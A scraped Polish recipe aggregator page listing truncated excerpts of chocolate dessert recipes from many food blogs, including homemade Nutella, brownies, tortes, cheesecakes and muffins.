jest ktoś, kto nie lubi ptasiego mleczka? Puszysta kostka, oblana chrupiącą czekoladą, którą odgryzamy kawałek po kawałku, kaloria po kalorii.... aż 50 kcal w jednym kawałku, a jak wiadomo - na jednym nigdy się nie kończy :) Jeśli myślicie, że takiej konsystencji nie da się osiągnąć w domu, to przedstawiam Wam DOMOWE PTASIE MLECZKO. Tak samo puszyste, tak samo pyszne i uzależniające(...)delikatnie połączyć. Dowolną foremkę wyłożyć folią spożywczą i przelać masę. Schłodzić ok 3-4 h. Po tym czasie kroić w kostki i obtoczyć w gorzkim kakao. Nie polecam polewać czekoladą, ponieważ jej ciepło rozpuści deser. Smacznego

Chocolate Muffin Blog
Krem orzechowo-czekoladowy - domowa nutella 165

tłuszczu, 21,8 g węglowodanów oraz 7,5 g błonnika pokarmowego. SKŁADNIKI: Z tej porcji wyjdzie około 250 ml domowej nutelli. 200 g orzechów laskowych 100 g gorzkiej czekolady (im większa zawartość kakao tym lepiej) 2 - 3 łyżki miodu 100 ml mleka SPOSÓB PRZYGOTOWANIA: 1. Orzechy prażymy na suchej patelni na małym ogniu, aby się nie przypaliły. 2. Jeszcze ciepłe(...)miksujemy na płynną masę. Najpierw orzechy zostaną rozdrobnione na proszek, potem zacznie wytrącać się z nich tłuszcz. Miksujemy do czasu, aż masa orzechowa nabierze płynnej konsystencji. 4. Rozpuszczamy czekoladę z mlekiem w kąpieli wodnej lub mikrofali. Jeszcze ciepłą dodajemy do masy orzechowej. Miksujemy do połączenia składników. 5. Na koniec dosładzamy krem orzechowo-czekoladowy miodem (według własnych preferencji słodkości) i ponownie

W kuchni Katie
Świąteczny tort makowo - pomarańczowy 184

śmietany 36 % 5 dużych łyżek cukru pudru (dałam mniej) 2 łyżeczki cukru z prawdziwej wanilii    sok z 2 dużych pomarańczy 2 kieliszki wódki o smaku pomarańczowym gorzka czekolada Przygotowanie:   Przygotowanie tego tortu najlepiej rozpocząć dzień wcześniej, aby blat mógł dokładnie przestygnąć. Mak wsypujemy do miseczki i zalewamy wrzącą wodą, tak aby był całkowicie przykryty. Zakrywamy i odstawiamy(...)ponczem, smarujemy połową konfitury i przykrywamy porcja masy. Wykładamy na to kolejny blat, powtarzając czynności. Ostatni blat nasączamy ponczem i dekorujemy wraz z bokami masą. Na końcu posypujemy startą czekoladą i na kilka godzin odstawiamy do lodówki. Smacznego

ChilliJemy
Ciecierzyca na słodko. 132

Brownie z ciecierzycy z daktylami i gorzką czekoladą, gruszka (vegan) Ciepłe, klejące, maziste,może za bardzo, ale akurat mi to nie przeszkadza.  i znów mi gdzieś weekend, tydzień, miesiąc ucieka, jak to możliwe, że  to już połowa grudnia?  słodko mi.  Przepis: 150g  ugotowanej ciecierzycy  2 czubate łyżki kakao 1/2 banana  1/4 szklanki mleczka(...)iecierzycę zmiksować z bananem i mleczkiem na gładką masę. Wymieszać z pozostałymi składnikami. Dodać pokrojone daktyle. Piec w piekarniku nagrzanym do 180-200stopni przez ok 40min. Posypać czekoladą.   *nie dodałam, ale następnym razem tak spróbuję, by ciasto wyszło mniej maziste :) Ps. coś mi się z rozmiarem czcionki dzieje i nie mogę ustawić normalnej wielkości

More food, love and dreams
Granola z masłem orzechowym, gorzką czekoladą nasionami chia i błonnikiem 176

mnie włoskie, laskowe i nerkowce) 3 łyżki masła orzechowego 3 łyżki miodu 1 łyżka nasion chia 1 łyżka błonnika witalnego po upieczeniu: 3/4 szklanki suszonej żurawiny 1/2 tabliczki gorzkiej czekolady (u mnie 80% kakao) SPOSÓB PRZYGOTOWANIA W misce mieszamy płatki, orzechy, pestki słonecznika, nasiona chia oraz błonnik. W mikrofali lub w garnuszku podgrzewamy masło orzechowe i łączymy z suchymi składnikami(...)piekarnika nagrzanego do 180 stopni na 5-7 minut. Po tym czasie wyjmujemy granolę mieszamy i pieczemy kolejne 5-7 minut. Po tym czasie wyciągamy granolę z piekarnika. Siekamy czekoladę i dodajemy do jeszcze ciepłej granoli.  Gdy całość wystygnie dodajemy żurawinę. Przechowujemy w szczelnie zamykanym pojemniku. Podawać z mlekiem lub jogurtem naturalnym i owocami. Smacznego

DefinicjaSmaku
Tort tiramisu 151

małe łyżeczki proszku do pieczenia ( 10 g) Masa - 500 g serka mascarpone - 600 ml śmietanki kremówki 30 % - 6 żółtek - 200 g drobnego cukru Dodatki - 50 g gorzkiej czekolady do dekoracji - szklanka mocnej kawy - 50 ml wódki lub jak ktoś woli smakowego alkoholu Sposób wykonania : Ciasto Białka oddzielamy od żółtek i ubijamy na sztywną pianę ,powoli dosypujemy cukier(...)kawą , wykładamy część masy i kładziemy drugi blat , również mocno nasączamy i wykładamy masę serową ,przykrywamy ostatnim blatem ,delikatnie dociskamy i nasączamy kawą, dekorujemy całość masą serową i starta czekoladą. Najlepiej smakuje na drugi dzień. Warto mieć pojemnik na przechowywanie ciast bo w lodówce takie ciasta szybko pochłaniają wszelkie zapachy . Smacznego

Wypieki Rene
Brownie z masłem sezamowym tahini 135

czekoladowy przysmak była za duża, żeby jej się oprzeć :) dlatego przepis zmodyfikowałam, gdyż w tamtym momencie nie posiadałam mleczka kokosowego. Brownie z masłem sezamowym tahini Składniki: tabliczka gorzkiej czekolady 1/3 szklanki tahini 1,5 szklanki mąki (pół na pół pszenna i żytnia razowa) 1 szklanka cukru pudru 1 szklanka mleka 1 łyżeczka proszku do pieczenia sok z połówki cytryny Brownie(...)masłem sezamowym tahini Wykonanie: Piekarnik włączamy na 180 stopni. Czekoladę rozpuszczamy w rondelku, dodajemy tahini i mleko a następnie cukier i zdejmujemy z ognia. Następnie wsypujemy mąkę i proszek do pieczenia i dokładnie mieszamy. Smarujemy naczynie żaroodporne lub foremkę tłuszczem i wylewamy ciasto. Pieczemy 20 - 25 minut. Góra będzie chrupiąca a środek lekko mokry. Brownie z masłem sezamowym tahini

Pyza i Surówka
Ciasteczka z kremem czekoladowym dla Mikołaja / z czekoladą 199

/ksiazki/literatura/p,moje-wypieki-wielki-powrot,11303.html 65g masła (ok 1/3 kostki) 1/2 szkl cukru 2 łyżki cukru waniliowego 2 czubate szkl mąki 1 płaska łyżeczka proszku do pieczenia szczypta soli 2 jajka 1/3 tabl. czekolady gorzkiej lub mlecznej ok 1/2 słoiczka kremu kanapkowego czekoladowo-orzechowego Miękkie masło zmiksować z cukrami na gładką masę. Dodać jajka, zmiksować. Następnie wymieszać z mąką, proszkiem do pieczenia i solą(...)Czekoladę bardzo drobno posiekać i wymieszać z ciastem. Mamy otrzymać elastyczne ciasto. Ciasto nabierać łyżką i formować na dłoni cienkie placuszki, na środek nakładać łyżeczkę kremu czekoladowego. Zlepić dokładnie brzegi i uformować kuleczkę. Kłaść na blaszce wyłożonej papierem do pieczenia zlepieniem do dołu. Piec ok 13-14 min do lekkiego zarumienienia w temp. 180st. Z podanych proporcji otrzymałam 10 dużych

Smakołyki Asi
Czekoladowo-orkiszowa tarta z figami 168

masła 60 g cukru brązowego trzcinowego 1 jajko szczypta soli Nadzienie: 330 ml śmietanki 30% 30 dag serka philadelphia ewentualnie mascarpone lub ricotty   30 dag gorzkiej czekolady 60% zawartości kakao 1/2 szklanki cukru pudru 4-5 figi garść ciemnego winogrona sól hawajska-zielona do posypania Sposób wykonania: Ciasto: Wszystkie składniki ciasta zagniatamy razem, wylepiamy spód i boki natłuszczonej formy(...)gotujemy, dodajemy serek oraz cukier puder, mieszamy do rozpuszczenia. Gdyby nadal były grudki należy całość zmiksować blenderem na puszysto. Do ciepłej masy dodać połamaną na kawałki gorzką czekoladę, mieszać do uzyskania jednolitej masy.  Wylać na kruchy spód, wyrównać łyżką. Figi i winogrona umyć pokroić na cząstki, ułożyć na masie.  Wstawić do lodówki do całkowitego stężenia. Przed podaniem posypać

Wanilia i Kardamon
Ciasto czekoladowe z burakami 160

mąki 2 płaskie łyżeczki proszku do pieczenia łyżeczka sody łyżka octu 100 g kakao 320 g cukru 15g cukru z prawdziwą wanilią polewa czekoladowa: 100 g czekolady (dowolnej) 50 g śmietany kremówki (30%) 1 łyżeczka oleju rzepakowego Sposób przygotowania: Keksówkę o długości ok. 30 cm wyłożyć papierem do pieczenia. Piekarnik nagrzać do 17o °C z funkcją termoobiegu. Buraki pokroić(...)środku, więc nie ma sensu wykonywać testu patyczkiem). Ciasto wyjąć z piekarnika i odstawić do całkowitego ostudzenia. Polewa czekoladowa: Śmietankę mocno podgrzać ale nie zagotować, dodać olej oraz połamaną czekoladą. Wymieszać energicznie, aż utworzy się gęsta, świecąca masa. Ganache wylać na schłodzone ciasto. Serwować z kleksem bitej śmietany lub gęstego jogurtu naturalnego

Pyry na Gaz
Torcik W-Z (Wuzetka) 187

równe części. Składniki na krem: 500 gr śmietany 30 lub 36 % schłodzonej 2 łyżeczki cukru pudru Śmietanę ubić na sztywno, pod koniec dodając cukier puder. Polewa: 100 gr gorzkiej czekolady 100 gr śmietany kremówki 30 lub 36 % wiśnie z nalewki (wyciśnięte z nalewki) W małym garnuszku podgrzać śmietanę, prawie do wrzenia, dodać połamaną czekoladę, wymieszać. Poncz: 3/4 szklanki nalewki

moj przepis na
Ekspresowe mocno czekoladowe muffiny 157

bardzo szybkie w przygotowaniu, wręcz ekspresowe, nie potrzebny jest mikser. Składniki na formę 22 cm lub na 26 małych muffinek: 250 gr masła 180 ml wody 250 gr gorzkiej czekolady 2 łyżeczki kawy rozpuszczalnej 1/2 szklanki cukru 1/2 szklanki jogurtu naturalnego, greckiego, maślanki lub kefiru 300 gr mąki 70 gr kakao 1 łyżeczka sody oczyszczonej 1/2 łyżeczki proszku do pieczenia(...)jajka 2 łyżki oleju Formę do muffinek wysmarować masłem. W garnuszku umieścić wodę, doprowadzić do wrzenia, dodać czekoladę, masło, kawę, podgrzewać na małym ogniu, aż wszystkie składniki idealnie się połączą i będzie gładka masa. Odstawić do ostudzenia. W małej misce wymieszać mąkę, proszek, sodę, kakao, cukier. W drugiej misce rozbełtać jajka z olejem, dodać mąkę, proszek, sodę, kakao, cukier, delikatnie

moj przepis na
Tort czekoladowy dla alergika 153

wykonania, a ciasto można wykonać bezpośrednio w formie, w której będzie pieczone. Krem robi się w 5 min, nie wymaga chłodzenia i jest na bazie awokado i gorzkiej aromatycznej czekolady z dodatkiem skórki pomarańczowej od Terravity. Torcik polecam również dla osób nie będących na diecie eliminacyjnej. Składniki na formę 20 cm: Ciasto: 1 i 1/2 szklanki mąki bezglutenowej (u mnie(...)łyżek oleju 1 łyżeczka octu lub soku z cytryny 1 łyżeczka ekstraktu z wanilii 1 szklanka i 2 łyżki wody 3 awokado 3 łyżki kakao 100 gr gorzka czekolada 10 daktyli 2 łyżki kandyzowana skórka pomarańczowa'; document.write

moj przepis na
Orkiszowy murzynek z malinami i orzechami (i z czekoladą!) 201

łyżeczka sody 2 łyżeczki proszku do pieczenia 3/4 szkl. dżemu malinowego niesłodzonego lub zblenderowanych/rozgniecionych malin 2 jajka 1/2 szkl. kefiru lub 3/4 szkl. jogurtu naturalnego 1/2 posiekanej tabliczki czekolady 1 łyżeczka aromatu waniliowego 2 łyżki oliwy z oliwek 4 łyżki kakao naturalnego 30 g orzechów (włoskich, laskowych) Przygotowanie: Oddzielamy białka od żółtek. Białka ubijamy na sztywno ze szczyptą soli. Żółtka(...)miksujemy z kefirem/jogurtem, syropem z agawy, aromatem i oliwą. Suche składniki mieszamy. Miksujemy ponownie masę z żółtkiem i stopniowo dodajemy mąkę. Pod koniec wrzucamy dżem malinowy i posiekaną gorzką czekoladę. Delikatnie łączymy z białkami. Ciasto przekładamy do sylikonowej formy (lub metalowej wylożonej papierem lub obsypanej mąką). Pieczemy ok. 35-40 minut w 180 stopniach. https://sklep.egmont.pl/ksiazki/literatura/p,moje-wypieki-wielki-powrot,11303.html

Czarnawisienka
Bułeczki czekoladowo – cynamonowe 128

bułeczkami z przedziałkiem na wyznaczony czas..tym razem już się udało.Te bułeczki są także upieczone w ramach Wypiekania na śniadanie .Bułeczki czekoladowo – cynamonowe Erica Lanlarda z książki Czekolada. Ja zrobiłam z połowy podanych składników i nie lukrowałam bułeczek po upieczeniu, no i zagapiłam się i ciut za mocno się przypiekły. 0,5 l ciepłego mleka 15 dkg drobnego cukru(...)trzcinowego 40 g świeżych drożdży 20 dkg  stopionego masła 2 łyżeczki ekstraktu waniliowego 2 jaja 1 kg mąki pszennej nadzienie: 75 g gorzkiej czekolady  100 g stopionego i wystudzonego masła 200 g brązowego cukru 3 łyżki cynamonu Wszystkie składniki na ciasto wymieszać [ drożdże można rozrobić z cukrem i wodą i odstawić na kilka minut do wyrośnięcia

Moje domowe kucharzenie
Muffinki z orzechami laskowymi 138

cukru trzcinowego - 50g mielonych orzechów laskowych - 40g oleju laskowego Oleje Świata - 100ml wody - 1/2 łyżeczki sody - 1/2 łyżeczki proszku do pieczenia - 1/3 łyżeczki soli Krem: - 240g śmietanki 30% - 200g czekolady mlecznej - 10g posiekanej kandyzowanej skórki z pomarańczy Posypka: - 20g posiekanych orzechów laskowych Składniki na 12 sztuk muffinek. Zaczynamy od suchych składników. Do miski przesiewamy mąkę, dodajemy cukier, sodę, proszek(...)minut (do suchego patyczka). Kiedy nasze babeczki rosną w piekarniku, zabieramy się za nasz krem. Do rondelka przelewamy śmietanę i doprowadzamy do zagotowania i ściągamy z gazu. Wsypujemy posiekaną czekoladę oraz skórkę kandyzowaną i mieszamy do otrzymania lśniącego gładkiego kremu Wstawiamy do lodówki i zostawiamy aż zastygnie. Kiedy muffinki się upieką i ostygną, rękawem cukierniczym dekorujemy nasze babeczki kremem

Kuchenne Wariacje
Sernik z 3 składników 187

bardzo delikatny i puszysty. Jak obłoczek. Polecam :) Sernik podałam na talerzu "Filona" od Porcelany Bogucice. Składniki w temp. pokojowej: 5 jajek 300g serka kremowego (np. Bieluch) 200g białej czekolady Tortownicę (śr.18cm) owinąć z zewnątrz folią aluminiową gdyż sernik będzie się piekł w kąpieli wodnej. Dno wyłożyć papierem do pieczenia. Do piekarnika wstawić duże naczynie żaroodporne wypełnione do połowy wodą(...)Nagrzać do temp. 170 stopni. Czekoladę połamać i rozpuścić w kąpieli wodnej. Lekko przestudzić i dodać żółtka. Zmiksować do połączenia składników. Dodać serek, zmiksować. Białka ubić na sztywną pianę i delikatnie wymieszać z masą serową. Przelać do tortownicy. Aby pozbyć się pęcherzyków powietrza uderzyć tortownicą z niedużej wysokości o blat. Serniczek włożyć do nagrzanego piekarnika. Po 15 minutach zmniejszyć temp

Smakołyki Asi
Ciasteczka dyniowe z cynamonem i czekoladą 113

wypróbujcie. 150g puree z dyni szkl oleju 2 łyżki mleka jajko 350g mąki pszennej 150g cukru trzcinowego 1 łyżka cynamonu szczypta soli 1 łyżeczka proszku do pieczenia tabliczka mlecznej czekolady W jednej misce wymieszać dokładnie suce składniki, w drugiej mokre. Następnie wszystkie dokładnie połączyć. Dodać posiekaną czekoladę, wymieszać. Ciasto nakładać łyżką, formować kuleczki i układać na blaszce wyłożonej papierem

Smakołyki Asi
Ciasto Lion na 2 urodziny bloga 2896

taką właśnie okazję jak świętowanie urodzin ;) ok 310g herbatników kakaowych puszka masy kajmakowej (510g) op. mascarpone 660ml śmietanki 30% 6 batonów Lion 2 łyżki cukru pudru kilka kostek gorzkiej czekolady Terravita 70% 2 śmietan fixy Kwadratową foremkę o boku 21cm wyłożyć folią aluminiową. Na dnie ułożyć pierwszą warstwę herbatników, rozsmarować kajmak (2 łyżki zostawić). Ułożyć kolejną warstwę herbatników. Schłodzoną śmietankę(...)dekoracji), wymieszać i wyłożyć na herbatniki. Masę wyrównać i położyć kolejną warstwę ciastek. Resztę ubitej śmietanki zmiksować z cukrem pudrem i zagęstnikami. Wyłożyć jako ostatnią warstwę. Na wierzch zetrzeć czekoladę. Można udekorować kawałkami batoników. Schłodzić w lodówce kilka godzin, najlepiej całą noc. Do tego ciasta użyłam dokładnie 36 herbatników na foremkę 21x21cm. Smacznego

Smakołyki Asi
Ciasto krówka z miodowym kremem i czekoladową pianką 409

przegotowanej zimnej wody Krem miodowy: 3 żółtka 100 g miodu lipowego płynnego ½ kg sera  mascarpone 60 ml likieru adwokat Pianka czekoladowa: 350 ml śmietany kremowej 1 tabliczka deserowej czekolady Kakao naturalne do oprószenia Ażurki czekoladowe do dekoracji Sposób wykonania: Ciasto krówka: Białka oddzielamy od żółtek i ubijamy na puszystą lśniącą pianę, dodając w trakcie nie przerywając miksowania cukier(...)wtedy dodajemy ser z likierem, miksujemy delikatnie na najniższych obrotach miksera tylko do połączenia. Pianka czekoladowa: Śmietanę podgrzewamy w rondelku aby była gorąca-nie gotujemy!, dodajemy połamaną na kawałki czekoladę, czekamy chwilę aż zacznie się rozpuszczać, wtedy mieszamy szpatułką lub łyżką do połączenia, ostudzoną masę wkładamy na minimum 5 godzin do lodówki lub najlepiej na całą noc. Następnego dnia miksujemy

Wanilia i Kardamon
DOMOWA NUTELLA – KREM CZEKOLADOWY Z KASZY JAGLANEJ 155

łyżkę, a Ci, którzy nie wiedzą, że jest on z kaszy jaglanej , nawet tego nie będą podejrzewać! Koniecznie wypróbujcie! Polecam! SKŁADNIKI: * kasza jaglana – 1 szkl * gorzka czekolada – 50 g * banan – 2 szt * kakao – 4 łyżki * syrop z agawy – 4 lyżki * sok z cytryny – 1 łyżka * sól -1 szczypta SPOSÓB PRZYRZĄDZENIA: Wypłukaną kaszę prażymy kilka(...)minut w garnku, zalewamy wrzątkiem, dodajemy szczyptę soli, przykrywamy i na wolnym ogniu gotujemy ok. 15 minut ( pilnujemy, żeby się nie przypaliła! ). Czekoladę rozpuszczamy w kąpieli wodnej, dodajemy ugotowaną kaszę, banany, kakao, sok z cytryny oraz syrop z agawy – wszystko razem dokładnie ze sobą miksujemy. Gotowe! Smacznego! Ps. świetnym dodatkiem jest garstka prażonych orzechów

Ostra na Słodko
ryzykowna muffina. 167

Dyniowo-kokosowa muffina;  z białą czekolada i gruszką*; kawa *całkowicie z mąki kokosowej, z mleczkiem, na wierzchu z wiórkami Jak na muffinę całkowicie z ten mąki wyszła świetna, choć zawsze nerwy są :D  po 39godzinach bez snu, wczoraj wieczorem przy okazji oglądania filmu z D tak padłam, że obudziłam się tak na dobre dzisiaj rano, choć mogłabym dalej(...)mąki kokosowej 100g pure z dyni hokkaido jajko białko 2-3 łyzki mleczka kokosowego 1/2 łyżeczki proszku do pieczenia szczypta sody oczyszczonej coś do posłodzenia 1/2 gruszki pasek czekolady białej wiórki kokosowe Wszystkie składniki na muffinę miksujemy. Dodajemy pokrojone dodatki. Przekładamy do foremki, posypujemy wiórkami. Pieczemy ok. 40min

More food, love and dreams
Babeczki owsiane z polewą czekoladową 176

kakao 1 łyżka oleju rzepakowego 1/2 łyżeczki kawy rozpuszczalnej 1/2 łyżeczki proszku do pieczenia Polewa: 15g masła 15g kakao 1 łyżka słodzidła (np. stewii) 100 ml mleka 1 kostka czekolady (mlecznej/gorzkiej/oreo) + cukier trzcinowy Przygotowanie: Składniki na babeczki wymieszać. Do metalowej formy włożyć papierowe kokilki. Nałożyć masę i piec ok. 30 min. 180 stopniach. W małym rondelku podgrzać masło, kakao, słodzidło(...)mleko z kostką czekolady. Gdy masa będzie gładka i lekko gęsta polewę przekładamy na babeczki. Calość posypujemy cukrem trzcinowym

Czarnawisienka
Świąteczny piernik z musem śliwkowo-pomarańczowym 166

skórka i sok z jednej sparzonej pomarańczy  100 g suszonych śliwek 1 łyżeczka cynamonu Wszystkie składniki mocno podgrzać. Zmiksować. Wystudzić - mus stężeje. Ciasto: 150 g masła 150 g czekolady gorzkiej 100 g miodu 3 łyżeczki cynamonu 3 łyżeczki przyprawy do piernika 125 g mąki pszennej 20 g mąki ziemniaczanej 4 jajka 1 opakowanie cukru waniliowego 2 i 1/2 łyżeczki(...)proszku do pieczenia Czekoladę rozpuścić z masłem, miodem ,cynamonem i przyprawą do piernika. Ostudzić. Jajka ubić w całości z cukrem na jasną, puszystą masę. Mąki i proszek przesiać. Do masy jajecznej partiami dodawać masę czekoladową i miksować. Na koniec wsypać mąkę i wymieszać łyżką. Formę 10 x 30 cm wysmarować masłem i wyłożyć papierem do pieczenia. Przelać ciasto i wyrównać

Chocolate Muffin Blog
Czekoladowy pudding ryżowy 157

ledwo zrobiłam zdjęcie heheh.  Porcja dla 4 osób Składniki:  2,5 szklanki mleka  2 płaskie łyżki masła 1 woreczek ryżu/ 0,5 szklanki 100 g gorzkiej czekolady 3 łyżki brązowego cukru Dodatkowo jakiś owoc jeżeli oczywiście chcecie. Ja użyłam gruszki w syropie. Ciekawe rozwiązania znajdziecie tutaj  Przygotowanie:   Mleko podgrzewamy w rondelku do zagotowania, w osobnym(...)czas mieszając, jak ryż wchłonie mleko dodajemy pozostałe i gotujemy na małym ogniu ok 15 minut co jakiś czas mieszając. Jak ryż zacznie uzyskiwać konsystencję puddingu dodajemy cukier i czekoladę, intensywnie mieszając do osiągnięcia idealnej konsystencji. Nakładamy do miseczek i dekorujemy owocami.  Całkowity czas przygotowania to ok 35 minut.  Smacznego

Niezły Młynek
Podwójnie czekoladowy chlebek bananowy 180

Teraz jak słońca brak i szybko nie wyjdzie na dłużej warto ratować się czekoladą. Przynajmniej ja tak mam, czekolada jest dobra na wszystko. Ten chlebek który w zasadzie jest ciastem jest mega czekoladowy i mega pyszny, dlatego zachęcam do spróbowania. Pieczcie i chwalcie się czy smakowało? Podwójnie czekoladowy chlebek bananowy. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Tort - piłka nożna 227

Ostudzić i wyciąć kształt piłki, po czym przekroić na 3 części. Nasączyć herbatą z cukrem. Krem:  500ml śmietanki 30%,  250g serka mascarpone,  100g mlecznej czekolady,  1/2 szklanki cukru pudru,  100g posiekanych orzechów laskowych,  dżem z czarnej porzeczki. Śmietankę ubić na sztywno wraz z cukrem pudrem. Dodać serek mascarpone i ubijać chwilę do połączenia się(...)składników. Dodać posiekaną czekoladę oraz posiekane orzechy, wymieszać. Dżemem posmarować pierwszy blat ciasta, posmarować kremem i przykryć drugim blatem ciasta. Posmarować dżemem i resztą kremu, przykryć ostatnim blatem ciasta. Ciasto posmarować odrobiną kremu maślanego, np. z tego przepisu i pokryć wyciętymi łatami z masy plastycznej

Z miłości do słodkości
Bananowe ciasteczko z kubeczka bez mąki 100

Ciasto nie zawiera ani grama mąki bądź cukru. Słodycz banana jest wystarczająca :)   Składniki: 1 banan 1 jajko 1 łyżeczka otrębów owsianych 1/2 łyżeczki proszku do pieczenia 1 kostka czekolady gorzkiej Wszystkie składniki zmiksować. Przełożyć do foremek na suflety lub do silikonowych ( u mnie dwie ok. 10 cm) . W środek włożyć po połowie kostki czekolady. Piec w mikrofali do suchego

Chocolate Muffin Blog
Kopiec kreta 197

blaszki wyłożonej papierem do pieczenia i wstawiamy do piekarnika nagrzanego do 180 st. C na ok 30 minut Krem 500 ml śmietany kremówki 3 łyżki cukru pudru 1/2 tabliczki czekolady 4-5 bananów 1 łyżka żelatyny  Rozpuszczamy żelatynę w niewielkiej ilości wody. Zimną śmietanę ubijamy z cukrem pudrem, a następnie dodajemy pokruszoną czekoladę (ja swoją startkowałam na grubych oczkach

Cynamonowe szczęście
Domowe Bounty zwane bobkami 138

liczymy czas tężenia w lodówce ok 30 sztuk Składniki * 250-300 g wiórek kokosowych * 150 ml śmietanki 30% * łyżka cukru pudru ( ja dałam zwykły) * 1/5 kostki masła * 3 tabliczki czekolady - w zależności od upodobań własnych mleczna lub gorzka, dużo lepiej się sprawdza polewa do ciast. Do dzieła!!! Śmietankę z masłem podgrzewamy do roztopienia masła i polewamy tym wymieszane z cukrem(...)troszkę.I to zadziałało. Gotowe kulki wkładamy do lodówki/zamrażarki na ok 1 godzinę, nawet gdy wydają się mało stabilne to po wyjęciu z lodówki są już twardziutkie. Czekoladę rozpuściłam w kąpieli wodnej, dodałam do niej troszkę mleka aby była rzadsza i każdą kulkę obtoczyłam. Pomagałam sobie widelcem. Już obtoczone najlepiej układać na jakiejś folii lub papierze do pieczenia

sierotka maRysia w kuchni
Serniczek z kawowymi biszkoptami 166

według mnie stanowczo za mało, robiłam to ciasto z połowy porcji a zużyłam całą szklankę. * 5 łyżeczek cukru - jak dla mnie za dużo - wystarczą 2 * duża paczka okrągłych biszkoptów * czekolada do polania - użyłam gotowej polewy i nie był to dobry pomysł gdyż ciasto ciężko się kroi - lepiej zrobić samemu z kakaa, wody, masła i cukru. Do dzieła!!! Zaparzyć kawę, osłodzić(...)Wyrównać powierzchnię i poukładać na niej suche, pozostałe biszkopty - ja zarówno blat biszkoptowy jak i drugą część biszkoptów delikatnie nasączyłam kawą przy pomocy pędzelka. Polać jeszcze ciepłą (nie gorącą!) czekoladą. Wstawić ciasto do lodówki. Smacznego!!! Uwaga! Masa serowa po dodaniu żelatyny bardzo szybko tężeje więc trzeba się bardzo śpieszyć z układaniem biszkoptów maczanych w kawie

sierotka maRysia w kuchni
Sernik z budyniem czekoladowym 340

pyszny a, aż śmiesznie prosty wypiek. Nie ma chyba możliwości aby się nie udał. Następnym razem do masy budyniowej dodam kawy rozpuszczalnej - myślę, że cudownie będzie harmonizować ze smakiem czekolady i wanilii. Sernik z czekoladowym budyniem Bardzo łatwe pieczenie 1 h Blacha 24/35 (może nawet być większa) Składniki ciasto: * 2 szkl. mąki * 2 żółtka * pół kostki margaryny * pół szklanki cukru(...)masy serowej ubić na sztywną pianę i delikatnie wmieszać w masę serową. Wylać całość na budyń. Pieczemy w temperaturze ok 180 stopni ok 1 h. Schłodzone ciasto polewamy czekoladą. Smacznego

sierotka maRysia w kuchni
Magiczne ciasto – Lubelskie pieczenie po raz I !!! 86

ostatnio Magiczne ciasto Moje wyszło chyba troszkę zakalcowate ale przyznam, że było bardzo smaczne Magiczne ciasto Składniki: 5 jajek 180 g cukru cukier wanilinowy 180 g margaryny 100 g czekolady łyżeczka kakao 100 g posiekanych orzechów - u mnie migdały 0,5 l mleka 6 łyżek mąki pszennej Do dzieła - a raczej czarowania ;-)!!! Czekoladę, margarynę i kakao rozpuszczamy ciągle mieszając

sierotka maRysia w kuchni
Babeczki piernikowe z nadzieniem owocowo – budyniowym 159

Pomysł na te babeczki przyszedł z potrzeby wykorzystania resztek - wiem wiem... dziwnym jest traktowanie pierniczków w czekoladzie jako resztki, jednak... gdy się ich zjadło prawie kilogram to ostatnie 200 g to naprawdę resztki ;-D Ja już ich zjeść nie mogłam a Rysiek poddał się po pierwszych kilku sztukach ;-D Babeczki piernikowe z nadzieniem z owoców sezonowych Składniki(...)pierniczków w czekoladzie z marmoladą 100 g masła garść owoców (u mnie wiśnie i jagody) 200 ml wody łyżka cukru łyżka mąki ziemniaczanej opakowanie budyniu typu słodki kubek Do dzieła!!! Pierniczki drobno mielimy, odkładamy z nich kilka łyżek (na kruszonkę) a resztę mieszamy z miękkim masłem. Tak powstałą zwartą masą wylepiamy foremki do muffinek i wstawiamy do lodówki

sierotka maRysia w kuchni
Czekoladowo orzechowy ,,banana bread” 173

zimne, jesienne wieczory! Dodatkowym atutem ciasta jest jego niesamowita prostota - ono chyba nie może nie wyjść   Czekoladowo orzechowy ,,banana bread" Składniki: 100 g masła 100 g gorzkiej czekolady 1/4 szklanki mleka 200 g cukru 1 łyżeczka ekstraktu waniliowego 2 jajka 230 g mąki pszennej 1 łyżeczka proszku do pieczenia 1/4 łyżeczki sody oczyszczonej 1/4 łyżeczki soli 3 dojrzałe banany(...)mogą być takie z czerniejącą skórką) 3/4 szklanki posiekanych orzechów włoskich Do dzieła!!! Masło, czekoladę i mleko ustawiamy na małym ogniu i czekamy aż składniki się połączą. Dodajemy cukier. Mieszamy. Studzimy. Mieszamy ze sobą wszystkie suche składniki. Do przestudzonej masy czekoladowej dodajemy jajka i miksujemy. Następnie przelewamy do miski z suchymi składnikami i dokładnie mieszamy. Na koniec dodajemy rozgniecione widelcem

sierotka maRysia w kuchni
Walentynkowy 3 Bit 183

smakołyki Ciasto 3 Bit forma 25/30 cm Składniki: ok 400 g herbatników (niecałe 2 duże opakowania) puszka masy krówkowej 500 ml śmietanki kremówki 2 łyżki cukru pudru tabliczka gorzkiej czekolady masa budyniowa: 750 ml mleka 4 jajka 4 czubate łyżki mąki ziemniaczanej 4 łyżki mąki pszennej łyżka ekstraktu waniliowego pół szklanki cukru (można mniej lub więcej w zależności jak lubimy(...)kolejną warstwą ciastek. Następnie wykładamy gorącą masę budyniową i po raz kolejny i ostatni układamy herbatniki. Ubijamy śmietanę z cukrem pudrem i wykładamy ją na wierzch ciasta następnie ścieramy czekoladę. Gotowy deser wkładamy do lodówki na noc. Ciasto przechowujemy w lodówce. Najlepiej smakuje i kroi się na drugi dzień. Moje sugestie: W mojej masie krówkowej pojawiły się kawałki cukru więc

sierotka maRysia w kuchni
Babeczki Dextera 162

Składniki na 12 babeczek: 1 i 1/3 szklanki mąki 1 szklanka cukru 1 płaska łyżeczka sody oczyszczonej 1/3 szklanki kakao naturalnego 1 szklanka maślanki 1/3 szklanki oleju 100 g czekolady mlecznej Do jednego naczynia wsypujemy składniki suche i mieszamy, do drugiego mokre i również mieszamy. Następnie składniki mokre przelewamy do suchych i miksujemy kilka minut, aż powstanie gładke ciasto(...)koniec dodajemy posiekaną czekoladę i wszystko mieszamy. Ciasto nalewamy do foremki wyłożonej papilotkami (do 2/3 wysokości papilotki) i wstawiamy do rozgrzanego do 180 stopni piekarnika. Pieczemy ok 25 minut. Gotowe babeczki studzimy i dekorujemy. Krem: 400 g śmietany 36% 4 czubate łyżki serka mascarpone 4 płaskie łyżki cukru pudru 2 opakowania preparatu typu śmietan-fix Śmietanę delikatnie ubijamy, dodajemy śmietan

Zawsze głodna!
Duchy i kości - bezy na Halloween 156

